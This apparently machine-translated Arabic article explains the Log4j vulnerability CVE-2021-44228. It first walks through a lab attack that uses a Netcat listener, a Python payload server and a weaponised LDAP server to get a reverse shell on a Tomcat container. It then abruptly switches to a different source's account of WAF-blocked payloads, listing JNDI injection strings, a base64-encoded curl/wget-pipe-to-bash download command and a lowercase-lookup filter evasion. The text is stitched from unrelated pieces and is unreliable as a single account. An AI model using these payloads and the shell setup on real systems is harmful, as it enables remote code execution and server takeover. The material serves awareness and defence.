Log4j: كيفية استغلال واختبار هذه الثغرة الحرجة
مقدمة
تؤثر هذه الثغرة الخطيرة ، المسمى CVE-2021-44228 ، على عدد كبير من العملاء ، حيث يتم استخدام مكون Apache Log4j على نطاق واسع في كل من البرامج التجارية ومفتوحة المصدر. بالإضافة إلى ذلك ، يستخدم مهاجمو برامج الفدية استغلال Log4j كسلاح لزيادة وصولهم إلى المزيد من الضحايا في جميع أنحاء العالم.
يتم تقديم العرض التوضيحي الخاص بنا للأغراض التعليمية لجمهور أكثر تقنيًا بهدف توفير المزيد من الوعي حول كيفية عمل هذا الاستغلال. فهمًا أفضل لتكوين الثغرات هو أفضل طريقة للمستخدمين لتعلم كيفية مكافحة التهديدات المتزايدة على الإنترنت.
Log4j Exploit Storyboard
تؤثر ثغرة Apache Log4j ، CVE-2021-44228 ( https://nvd.nist.gov/vuln/detail/CVE-2021-44228 ) على عدد كبير من الأنظمة ، ويستغل المهاجمون حاليًا هذه الثغرة الأمنية للاتصال بالإنترنت أنظمة عبر العالم. لإثبات تشريح مثل هذا الهجوم ، يقدم Raxis عرضًا توضيحيًا خطوة بخطوة للاستغلال أثناء العمل. في العرض التوضيحي الخاص بنا ، نقوم بعمل افتراضات حول بيئة الشبكة المستخدمة لخادم الضحية والتي من شأنها أن تسمح بحدوث هذا الهجوم. هناك بالتأكيد العديد من الطرق لمنع هذا الهجوم من النجاح ، مثل استخدام تكوينات جدار حماية أكثر أمانًا أو غيرها من أجهزة أمان الشبكة المتقدمة ، ومع ذلك فقد اخترنا تكوين أمان "افتراضي" شائع لأغراض إثبات هذا الهجوم.
خادم الضحية
أولاً ، خادم الضحية الخاص بنا هو خادم ويب Tomcat 8 يستخدم إصدارًا ضعيفًا من Apache Log4j ويتم تكوينه وتثبيته داخل حاوية عامل إرساء. تسمح لنا حاوية عامل الإرساء بإظهار بيئة منفصلة لخادم الضحية معزولة عن بيئة الاختبار الخاصة بنا. يستضيف خادم Tomcat نموذجًا لموقع ويب يمكن الحصول عليه من https://github.com/cyberxml/log4j-poc وقد تم تكوينه لفضح المنفذ 8080 لخادم الويب الضعيف. لا يتم عرض أي منافذ واردة أخرى لحاوية عامل الإرساء هذه بخلاف 8080. تسمح حاوية عامل الإرساء بحركة المرور الصادرة ، على غرار التكوين الافتراضي للعديد من شبكات الخادم.
لاحظ أن مستودع GitHub هذا يتميز أيضًا بإصدار مدمج من رمز هجوم Log4j والحمولة ، ومع ذلك ، قمنا بتعطيله كمثال من أجل توفير عرض على الشاشات كما يراه المهاجم. نحن نستخدم أجزاء خادم الويب Tomcat 8 فقط ، كما هو موضح في لقطة الشاشة أدناه.

الشكل 1: كود تشغيل خادم الويب التجريبي الخاص بالضحية Tomcat 8 عرضة لخطر استغلال Log4j
بعد ذلك ، نحتاج إلى إعداد محطة عمل المهاجم. باستخدام رمز الاستغلال من https://github.com/kozmer/log4j-shell-poc ، يقوم Raxis بتكوين ثلاث جلسات طرفية تسمى Netcat Listener و Python Web Server و Exploit ، كما هو موضح أدناه.
مستمع نت كات ، منفذ 9001
جلسة Netcat Listener ، المشار إليها في الشكل 2 ، هي مستمع Netcat يعمل على المنفذ 9001. هذه الجلسة هي للإمساك بالصدفة التي سيتم تمريرها إلينا من خادم الضحية عبر الثغرة.

الشكل 2: مستمع Netcat الخاص بالمهاجم على المنفذ 9001
خادم ويب Python ، المنفذ 80
جلسة Python Web Server في الشكل 3 عبارة عن خادم ويب Python يعمل على المنفذ 80 لتوزيع الحمولة على خادم الضحية.

الشكل 3: خادم ويب Python الخاص بالمهاجم لتوزيع الحمولة
رمز الاستغلال ، المنفذ 1389
جلسة Exploit ، الموضحة في الشكل 4 ، هي رمز استغلال Log4j لإثبات صحة المفهوم الذي يعمل على المنفذ 1389 ، مما يؤدي إلى إنشاء خادم LDAP مُسلح. سيعيد هذا الرمز توجيه خادم الضحية لتنزيل وتنفيذ فئة Java التي تم الحصول عليها من خادم الويب Python الذي يعمل على المنفذ 80 أعلاه. تم تكوين فئة Java لنشر shell إلى المنفذ 9001 ، وهو مستمع Netcat الخاص بنا في الشكل 2.

الشكل 4: كود استغلال Log4J للمهاجم
نفذ الهجوم
الآن بعد أن تم تنظيم الكود ، حان الوقت لتنفيذ هجومنا. سنتصل بخادم الويب الخاص بالضحية باستخدام متصفح الويب Chrome. تستغل سلسلة الهجوم ، الموضحة في الشكل 5 ، JNDI لإنشاء استعلام LDAP لجلسة استغلال المهاجم التي تعمل على المنفذ 1389.

الشكل 5: موقع الضحية وسلسلة الهجوم
تستغل سلسلة الهجوم ثغرة أمنية في Log4j وتطلب إجراء بحث على خادم LDAP المُسلح للمهاجم. للقيام بذلك ، يتم إجراء طلب صادر من خادم الضحية إلى نظام المهاجم على المنفذ 1389. تشير جلسة Exploit في الشكل 6 إلى استلام اتصال LDAP الوارد وإعادة التوجيه إلى خادم Python Web Server الخاص بالمهاجم.

الشكل 6: جلسة استغلال المهاجم التي تشير إلى الاتصال الداخلي وإعادة التوجيه
لقد أرسلت جلسة Exploit إعادة توجيه إلى خادم الويب Python الخاص بنا ، والذي يقدم فئة Java مُسلَّحة تحتوي على رمز لفتح قذيفة. تم تكوين فئة Java هذه بالفعل من جلسة Exploit ولا يتم تقديمها إلا على المنفذ 80 بواسطة Python Web Server. يظهر سجل الاتصال في الشكل 7 أدناه.
الخطوة الأخيرة في هجومنا هي حيث يحصل Raxis على الصدفة مع التحكم في خادم الضحية. تحتوي فئة Java التي تم إرسالها إلى ضحيتنا على رمز فتح قذيفة عن بُعد لجلسة netcat الخاصة بالمهاجم ، كما هو موضح في الشكل 8. يتمتع المهاجم الآن بالتحكم الكامل في خادم Tomcat 8 ، على الرغم من قصره على جلسة عامل الإرساء التي قمنا بتكوينها في هذا سيناريو الاختبار.

الشكل 8: وصول المهاجم إلى خادم الضحية الذي يتحكم في شل
استنتاج
كما أوضحنا ، فإن الثغرة الأمنية Log4j هي عملية متعددة الخطوات يمكن تنفيذها بمجرد أن يكون لديك الأجزاء الصحيحة في مكانها. هذا الرمز مطبق في روبوتات هجوم الفدية التي تبحث في الإنترنت عن أنظمة لاستغلالها. هذه بالتأكيد مشكلة حرجة يجب معالجتها في أسرع وقت ممكن ، لأنها مسألة وقت قبل أن يصل المهاجم إلى نظام مكشوف.
نظرًا لأن لدينا الآن ساعات عديدة من البيانات حول مسح الثغرة الأمنية ومحاولة استغلالها ، يمكننا البدء في النظر إلى الحمولات الفعلية المستخدمة في البرية والإحصاءات. لنبدأ بالطلبات التي تحظرها Cloudflare من خلال WAF.
لقد رأينا ارتفاعًا بطيئًا في الهجمات المحظورة هذا الصباح (الأوقات هنا حسب التوقيت العالمي المنسق) مع أكبر ذروة عند حوالي 1800 (ما يقرب من 20000 طلب استغلال محظور في الدقيقة). لكن المسح ظل مستمرا طوال اليوم. نتوقع أن يستمر هذا.

ألقينا أيضًا نظرة على عدد عناوين IP التي كان WAF يحظرها. في مكان ما ، يبدو أن ما بين 200 و 400 عنوان IP يقوم بالمسح بنشاط في أي وقت.

حتى الآن ، جاء أكبر عدد من عمليات المسح أو محاولات الاستغلال من كندا ثم الولايات المتحدة.

يبدو أن الكثير من الطلبات المحظورة في شكل استطلاع لمعرفة ما إذا كان الخادم قابلاً للاستغلال بالفعل. سلسلة الاستغلال المحظورة هي التالية (طوال الوقت لدي أسماء نطاقات وعناوين IP معقمة):
${jndi:ldap://x.x.x.x/#Touch}
والتي تبدو وكأنها طريقة بسيطة للوصول إلى الخادم في xxxx ، والذي يتحكم فيه الممثل بلا شك ، وتسجيل أن خاصية الإنترنت قابلة للاستغلال. هذا لا يخبر الممثل كثيرًا. احتوى الطلب الثاني الأكثر شيوعًا على هذا:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
ظهر هذا في حقل وكيل المستخدم في الطلب. لاحظ كيف يظهر في نهاية URI /ua
. لا شك أن هذا دليل على الممثل أن الاستغلال نجح في User-Agent.
تُظهر حمولة أخرى مثيرة للاهتمام أن الممثل كان يشرح بالتفصيل التنسيق الذي نجح (في هذه الحالة ، طلب غير مشفر إلى المنفذ 443 وكانوا يحاولون استخدام http: //):
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
حاول شخص ما التظاهر بأنه Googlebot وقام بتضمين بعض المعلومات الإضافية.
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
في الحالة التالية ، كان الممثل يضرب IP العام Cloudflare ويقوم بترميز عنوان IP هذا في الحمولة النافعة للاستغلال. وبهذه الطريقة يمكنهم فحص العديد من عناوين IP ومعرفة أيها عرضة للخطر.
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
كان البديل في هذا المخطط هو تضمين اسم موقع الويب المهاجم في حمولة الاستغلال.
${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
لم يستخدم بعض الممثلين LDAP لكنهم استخدموا DNS. ومع ذلك ، فإن LDAP هو البروتوكول الأكثر استخدامًا إلى حد بعيد.
${jndi:dns://aeutbj.example.com/ext}
اشتمل الفحص المثير للاهتمام على استخدام Java وأدوات سطر أوامر Linux القياسية. تبدو الحمولة كما يلي:
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
يقوم الجزء المشفر base64 بالترميز إلى curl و wget piped في bash.
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
لاحظ أن الإخراج من curl / wget غير مطلوب ، وبالتالي فإن هذا مجرد ضرب خادم للإشارة إلى الممثل أن الاستغلال نجح.
أخيرًا ، نشهد محاولات نشطة للتهرب من الحظر المبسط للسلاسل مثل ${jndi:ldap
استخدام ميزات أخرى من Log4j. على سبيل المثال ، يبدو أن أسلوب التهرب الشائع هو استخدام ${lower}
الميزة (التي تقلل الأحرف) على النحو التالي:
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
في هذا الوقت يبدو أن هناك الكثير من الاستطلاعات جارية. يقوم الممثلون ، الجيدون والسيئون ، بالبحث عن خوادم ضعيفة في جميع أنحاء العالم. في نهاية المطاف ، سيتحول بعض هذا الاستطلاع إلى اختراق فعلي للخوادم والشركات. ونظرًا لأن التسجيل مدمج بعمق في أنظمة الواجهة الأمامية والخلفية ، فلن يصبح بعض ذلك واضحًا لساعات أو أيام
تعليقات: (0) إضافة تعليق